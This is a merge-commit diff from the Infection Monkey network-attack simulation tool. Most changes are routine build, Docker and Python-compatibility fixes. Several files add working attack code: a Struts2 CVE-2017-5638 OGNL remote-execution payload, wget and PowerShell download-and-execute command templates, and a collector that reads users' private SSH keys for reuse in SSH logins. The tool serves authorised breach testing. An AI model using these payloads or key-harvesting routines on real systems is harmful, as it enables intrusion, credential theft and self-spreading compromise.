Merge branch 'develop' into feature/detect-cross-segment-traffic

# Conflicts:
#	infection_monkey/config.py
#	infection_monkey/example.conf
#	monkey_island/cc/services/report.py
This commit is contained in:
Itay Mizeretz 2018-08-21 11:42:45 +03:00
commit a18061d45d
69 changed files with 12570 additions and 6455 deletions

23
.github/ISSUE_TEMPLATE/Bug_report.md vendored Normal file
View File

@ -0,0 +1,23 @@
---
name: Bug report
about: Create a report to help us fix things!
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Configure the Monkey with X settings
2. Run the monkey on specific machine
3. See error
**Expected behavior**
A description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Machine version(please complete the following information):**
- OS: Windows or Linux

27
.travis.yml Normal file
View File

@ -0,0 +1,27 @@
group: travis_latest
language: python
cache: pip
python:
- 2.7
- 3.6
#- nightly
#- pypy
#- pypy3
matrix:
allow_failures:
- python: nightly
- python: pypy
- python: pypy3
install:
#- pip install -r requirements.txt
- pip install flake8 # pytest # add another testing frameworks later
before_script:
# stop the build if there are Python syntax errors or undefined names
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
script:
- true # pytest --capture=sys # add other tests here
notifications:
on_success: change
on_failure: change # `always` will be the setting once code changes slow down

View File

@ -2,7 +2,7 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
@ -20,7 +20,7 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3.
Also, please submit PRs to the develop branch.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.

View File

@ -50,6 +50,6 @@ and follow the instructions at the readme files under [infection_monkey](infecti
License
=======
Copyright (c) 2017 Guardicore Ltd
Copyright (c) Guardicore Ltd
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).

View File

@ -4,6 +4,7 @@ import struct
from abc import ABCMeta, abstractmethod
import ipaddress
from six import text_type
__author__ = 'itamar'
@ -65,7 +66,7 @@ class CidrRange(NetworkRange):
def __init__(self, cidr_range, shuffle=True):
super(CidrRange, self).__init__(shuffle=shuffle)
self._cidr_range = cidr_range.strip()
self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False)
self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False)
def __repr__(self):
return "<CidrRange %s>" % (self._cidr_range,)

19
docker/Dockerfile Normal file
View File

@ -0,0 +1,19 @@
FROM debian:jessie-slim
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
WORKDIR /app
ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz .
RUN tar xvf infection_monkey_1.5.2_deb.tgz \
&& apt-get -yqq update \
&& apt-get -yqq upgrade \
&& apt-get -yqq install python-pip \
libssl-dev \
supervisor \
&& dpkg -i *.deb
COPY stack.conf /etc/supervisor/conf.d/stack.conf
ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ]

11
docker/README.md Normal file
View File

@ -0,0 +1,11 @@
# Improvements needed
* Remove embedded mongodb from .deb, it forbids installation on a `debian:stretch` distro.
* Package monkey for system's python usage.
* Fix package number: (I installed the 1.5.2)
```
ii gc-monkey-island 1.0 amd64 Guardicore Infection Monkey Island installation package
```
* Use .deb dependencies for mongodb setup?
* Use docker-compose for stack construction.
* Remove the .sh script from the systemd unit file (`/var/monkey_island/ubuntu/systemd/start_server.sh`) which only does a `cd && localpython run`

4
docker/stack.conf Normal file
View File

@ -0,0 +1,4 @@
[program:mongod]
command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db
[program:monkey]
command=/var/monkey_island/ubuntu/systemd/start_server.sh

View File

@ -7,8 +7,9 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
__author__ = 'itamar'
@ -40,7 +41,7 @@ def _cast_by_example(value, example):
return int(value)
elif example_type is float:
return float(value)
elif example_type is types.ClassType or example_type is ABCMeta:
elif example_type in (type, ABCMeta):
return globals()[value]
else:
return None
@ -84,10 +85,10 @@ class Configuration(object):
if val_type is types.FunctionType or val_type is types.MethodType:
continue
if val_type is types.ClassType or val_type is ABCMeta:
if val_type in (type, ABCMeta):
value = value.__name__
elif val_type is tuple or val_type is list:
if len(value) != 0 and (type(value[0]) is types.ClassType or type(value[0]) is ABCMeta):
if len(value) != 0 and type(value[0]) in (type, ABCMeta):
value = val_type([x.__name__ for x in value])
result[key] = value
@ -145,10 +146,10 @@ class Configuration(object):
max_iterations = 1
scanner_class = TcpScanner
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi
ElasticGroovyExploiter, Struts2Exploiter # multi
]
# how many victims to look for in a single scan iteration
@ -163,7 +164,7 @@ class Configuration(object):
# Configuration servers to try to connect to, in this order.
command_servers = [
"41.50.73.31:5000"
"192.0.2.0:5000"
]
# sets whether or not to locally save the running configuration after finishing
@ -184,10 +185,10 @@ class Configuration(object):
# Auto detect and scan local subnets
local_network_scan = True
subnet_scan_list = ['', ]
subnet_scan_list = []
inaccessible_subnets = []
blocked_ips = ['', ]
blocked_ips = []
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
@ -234,6 +235,12 @@ class Configuration(object):
"""
return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_ssh_key_pairs(self):
"""
:return: All combinations of the configurations users and ssh pairs
"""
return product(self.exploit_user_list, self.exploit_ssh_keys)
def get_exploit_user_password_or_hash_product(self):
"""
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
@ -252,6 +259,7 @@ class Configuration(object):
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = []
exploit_ntlm_hash_list = []
exploit_ssh_keys = []
# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds

View File

@ -9,6 +9,7 @@ import sys
import time
from ctypes import c_char_p
import filecmp
from config import WormConfiguration
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
@ -56,7 +57,10 @@ class MonkeyDrops(object):
return False
# we copy/move only in case path is different
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
try:
file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path'])
except OSError:
file_moved = False
if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])

View File

@ -1,18 +1,18 @@
{
"command_servers": [
"41.50.73.31:5000"
"192.0.2.0:5000"
],
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
],
"monkey.guardicore.com",
"www.google.com"
],
"keep_tunnel_open_time": 60,
"subnet_scan_list": [
""
],
"inaccessible_subnet_groups": [],
"blocked_ips": [""],
"current_server": "41.50.73.31:5000",
"inaccessible_subnets": [],
"blocked_ips": [],
"current_server": "192.0.2.0:5000",
"alive": true,
"collect_system_info": true,
"extract_azure_creds": true,
@ -38,14 +38,16 @@
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter"
],
"finger_classes": [
"SSHFinger",
"PingScanner",
"HTTPFinger",
"SMBFinger",
"MySQLFinger"
"ElasticFinger",
"MySQLFinger",
"MSSQLFingerprint",
"ElasticFinger"
],
"max_iterations": 3,
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
@ -68,6 +70,7 @@
"exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],

View File

@ -24,9 +24,9 @@ class HostExploiter(object):
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
@abstractmethod
def exploit_host(self):
@ -41,3 +41,4 @@ from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter

View File

@ -27,7 +27,7 @@ LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']:
if kw.get('isError'):
error_msg = 'Unknown'
if 'failure' in kw:
error_msg = kw['failure'].getErrorMessage()

View File

@ -8,7 +8,7 @@ import requests
from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import MONKEY_ARG
from model import DROPPER_ARG
from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline
@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
self.attack_page(url, header, run_path)
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
run_path = exploit + cmdline
self.attack_page(url, header, run_path)

View File

@ -2,6 +2,7 @@ import logging
import time
import paramiko
import StringIO
import monkeyfs
from exploit import HostExploiter
@ -31,6 +32,65 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port, ssh):
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
exploited = False
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
LOG.error("Failed reading ssh key")
try:
ssh.connect(self.host.ip_addr,
username=user,
pkey=pkey,
port=port,
timeout=None)
LOG.debug("Successfully logged in %s using %s users private key",
self.host, ssh_string)
exploited = True
self.report_login_attempt(True, user, ssh_key=ssh_string)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with %s"
" private key", self.host,
ssh_string)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
return exploited
def exploit_with_login_creds(self, port, ssh):
user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for user, curpass in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
exploited = True
self.report_login_attempt(True, user, curpass)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
continue
return exploited
def exploit_host(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@ -46,29 +106,10 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for user, curpass in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
self.report_login_attempt(True, user, curpass)
exploited = True
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
continue
#Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
if not exploited:
exploited = self.exploit_with_login_creds(port, ssh)
if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...")

View File

@ -0,0 +1,246 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
import logging
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
DROPPER_ARG
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
def exploit_host(self):
dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host)
return False
for port in ports:
if port[1]:
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
else:
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
# Get full URL
url = self.get_redirected(current_host)
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
return self.exploit_linux(url, dropper_path_linux)
else:
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path):
command = EXISTS % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
def exploit_linux(self, url, dropper_path):
host_arch = Struts2Exploiter.check_exploit_linux(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and self.check_remote_file(url, dropper_path):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
command = WGET_HTTP % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def exploit_windows(self, url, dropper_paths):
"""
:param url: Where to send malicious request
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
:return: Bool. Successfully exploited or not
"""
host_arch = Struts2Exploiter.check_exploit_windows(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist:
for dropper_path in dropper_paths:
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Select the dir and name for monkey on the host
if "windows-32" in src_path:
dropper_path = dropper_paths[0]
else:
dropper_path = dropper_paths[1]
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# We need to double escape backslashes. Once for payload, twice for command
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
resp = self.exploit(url, command)
if 'powershell is not recognized' in resp:
self.exploit(url, backup_command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
@staticmethod
def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
return arch
else:
return False
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
LOG.error("Can't reach struts2 server")
return False
@staticmethod
def exploit(url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
payload = "%%{(#_='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?" \
"(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm))))." \
"(#cmd='%s')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new java.lang.ProcessBuilder(#cmds))." \
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead as e:
page = e.partial
return page
@staticmethod
def get_exploitable_ports(host, port_list, names):
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports

View File

@ -405,7 +405,7 @@ def get_interface_to_target(dst):
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
pathes.append((0xffffffffL, ("lo", a, "0.0.0.0")))
pathes.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
pathes.append((m, (i, a, gw)))
if not pathes:

View File

@ -4,6 +4,7 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
@ -14,3 +15,15 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
# Commands used to check for architecture and if machine is exploitable
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"

View File

@ -29,7 +29,7 @@ class VictimHost(object):
return self.ip_addr.__cmp__(other.ip_addr)
def __repr__(self):
return "<VictimHost %s>" % self.ip_addr
return "VictimHost({0!r})".format(self.ip_addr)
def __str__(self):
victim = "Victim Host %s: " % self.ip_addr
@ -39,7 +39,7 @@ class VictimHost(object):
victim += "] Services - ["
for k, v in self.services.items():
victim += "%s-%s " % (k, v)
victim += ']'
victim += '] '
victim += "target monkey: %s" % self.monkey_exe
return victim

View File

@ -12,6 +12,7 @@ from control import ControlClient
from model import DELAY_DELETE_CMD
from network.firewall import app as firewall
from network.network_scanner import NetworkScanner
from six.moves import xrange
from system_info import SystemInfoCollector
from system_singleton import SystemSingleton
from windows_upgrader import WindowsUpgrader

View File

@ -27,3 +27,4 @@ from elasticfinger import ElasticFinger
from mysqlfinger import MySQLFinger
from info import local_ips
from info import get_free_tcp_port
from mssql_fingerprint import MSSQLFinger

View File

@ -10,6 +10,11 @@ from subprocess import check_output
from random import randint
from common.network.network_range import CidrRange
try:
long # Python 2
except NameError:
long = int # Python 3
def get_host_subnets():
"""
@ -93,8 +98,8 @@ else:
ifaddr = socket.inet_ntoa(ifreq[20:24])
else:
continue
routes.append((socket.htonl(long(dst, 16)) & 0xffffffffL,
socket.htonl(long(msk, 16)) & 0xffffffffL,
routes.append((socket.htonl(long(dst, 16)) & 0xffffffff,
socket.htonl(long(msk, 16)) & 0xffffffff,
socket.inet_ntoa(struct.pack("I", long(gw, 16))),
iff, ifaddr))

View File

@ -0,0 +1,83 @@
import logging
import socket
from model.host import VictimHost
from network import HostFinger
__author__ = 'Maor Rayzin'
LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096
TIMEOUT = 5
SERVICE_NAME = 'MSSQL'
def __init__(self):
self._config = __import__('config').WormConfiguration
def get_host_fingerprint(self, host):
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
:arg:
host (VictimHost): The MS-SSQL Server to query for information.
:returns:
Discovered server information written to the Host info struct.
True if success, False otherwise.
"""
assert isinstance(host, VictimHost)
# Create a UDP socket and sets a timeout
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(self.TIMEOUT)
server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT)
# The message is a CLNT_UCAST_EX packet to get all instances
# https://msdn.microsoft.com/en-us/library/cc219745.aspx
message = '\x03'
# Encode the message as a bytesarray
message = message.encode()
# send data and receive response
try:
LOG.info('Sending message to requested host: {0}, {1}'.format(host, message))
sock.sendto(message, server_address)
data, server = sock.recvfrom(self.BUFFER_SIZE)
except socket.timeout:
LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
sock.close()
return False
except socket.error as e:
if e.errno == socket.errno.ECONNRESET:
LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.'
.format(host))
else:
LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.',
exc_info=True)
sock.close()
return False
host.services[self.SERVICE_NAME] = {}
# Loop through the server data
instances_list = data[3:].decode().split(';;')
LOG.info('{0} MSSQL instances found'.format(len(instances_list)))
for instance in instances_list:
instance_info = instance.split(';')
if len(instance_info) > 1:
host.services[self.SERVICE_NAME][instance_info[1]] = {}
for i in range(1, len(instance_info), 2):
# Each instance's info is nested under its own name, if there are multiple instances
# each will appear under its own name
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
# Close the socket
sock.close()
return True

View File

@ -144,13 +144,13 @@ class SMBFinger(HostFinger):
host.os['type'] = 'linux'
host.services[SMB_SERVICE]['name'] = service_client
if not host.os.has_key('version'):
if 'version' not in host.os:
host.os['version'] = os_version
else:
host.services[SMB_SERVICE]['os-version'] = os_version
return True
except Exception, exc:
except Exception as exc:
LOG.debug("Error getting smb fingerprint: %s", exc)
return False

View File

@ -10,8 +10,7 @@ odict
paramiko
psutil==3.4.2
PyInstaller
six
ecdsa
netifaces
mock
nose
ipaddress
ipaddress

View File

@ -0,0 +1,96 @@
import logging
import pwd
import os
import glob
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class SSHCollector(object):
"""
SSH keys and known hosts collection module
"""
default_dirs = ['/.ssh/', '/']
@staticmethod
def get_info():
LOG.info("Started scanning for ssh keys")
home_dirs = SSHCollector.get_home_dirs()
ssh_info = SSHCollector.get_ssh_files(home_dirs)
LOG.info("Scanned for ssh keys")
return ssh_info
@staticmethod
def get_ssh_struct(name, home_dir):
"""
:return: SSH info struct with these fields:
name: username of user, for whom the keys belong
home_dir: users home directory
public_key: contents of *.pub file(public key)
private_key: contents of * file(private key)
known_hosts: contents of known_hosts file(all the servers keys are good for,
possibly hashed)
"""
return {'name': name, 'home_dir': home_dir, 'public_key': None,
'private_key': None, 'known_hosts': None}
@staticmethod
def get_home_dirs():
root_dir = SSHCollector.get_ssh_struct('root', '')
home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall()
if x.pw_dir.startswith('/home')]
home_dirs.append(root_dir)
return home_dirs
@staticmethod
def get_ssh_files(usr_info):
for info in usr_info:
path = info['home_dir']
for directory in SSHCollector.default_dirs:
if os.path.isdir(path + directory):
try:
current_path = path + directory
# Searching for public key
if glob.glob(os.path.join(current_path, '*.pub')):
# Getting first file in current path with .pub extension(public key)
public = (glob.glob(os.path.join(current_path, '*.pub'))[0])
LOG.info("Found public key in %s" % public)
try:
with open(public) as f:
info['public_key'] = f.read()
# By default private key has the same name as public, only without .pub
private = os.path.splitext(public)[0]
if os.path.exists(private):
try:
with open(private) as f:
# no use from ssh key if it's encrypted
private_key = f.read()
if private_key.find('ENCRYPTED') == -1:
info['private_key'] = private_key
LOG.info("Found private key in %s" % private)
else:
continue
except (IOError, OSError):
pass
# By default known hosts file is called 'known_hosts'
known_hosts = os.path.join(current_path, 'known_hosts')
if os.path.exists(known_hosts):
try:
with open(known_hosts) as f:
info['known_hosts'] = f.read()
LOG.info("Found known_hosts in %s" % known_hosts)
except (IOError, OSError):
pass
# If private key found don't search more
if info['private_key']:
break
except (IOError, OSError):
pass
except OSError:
pass
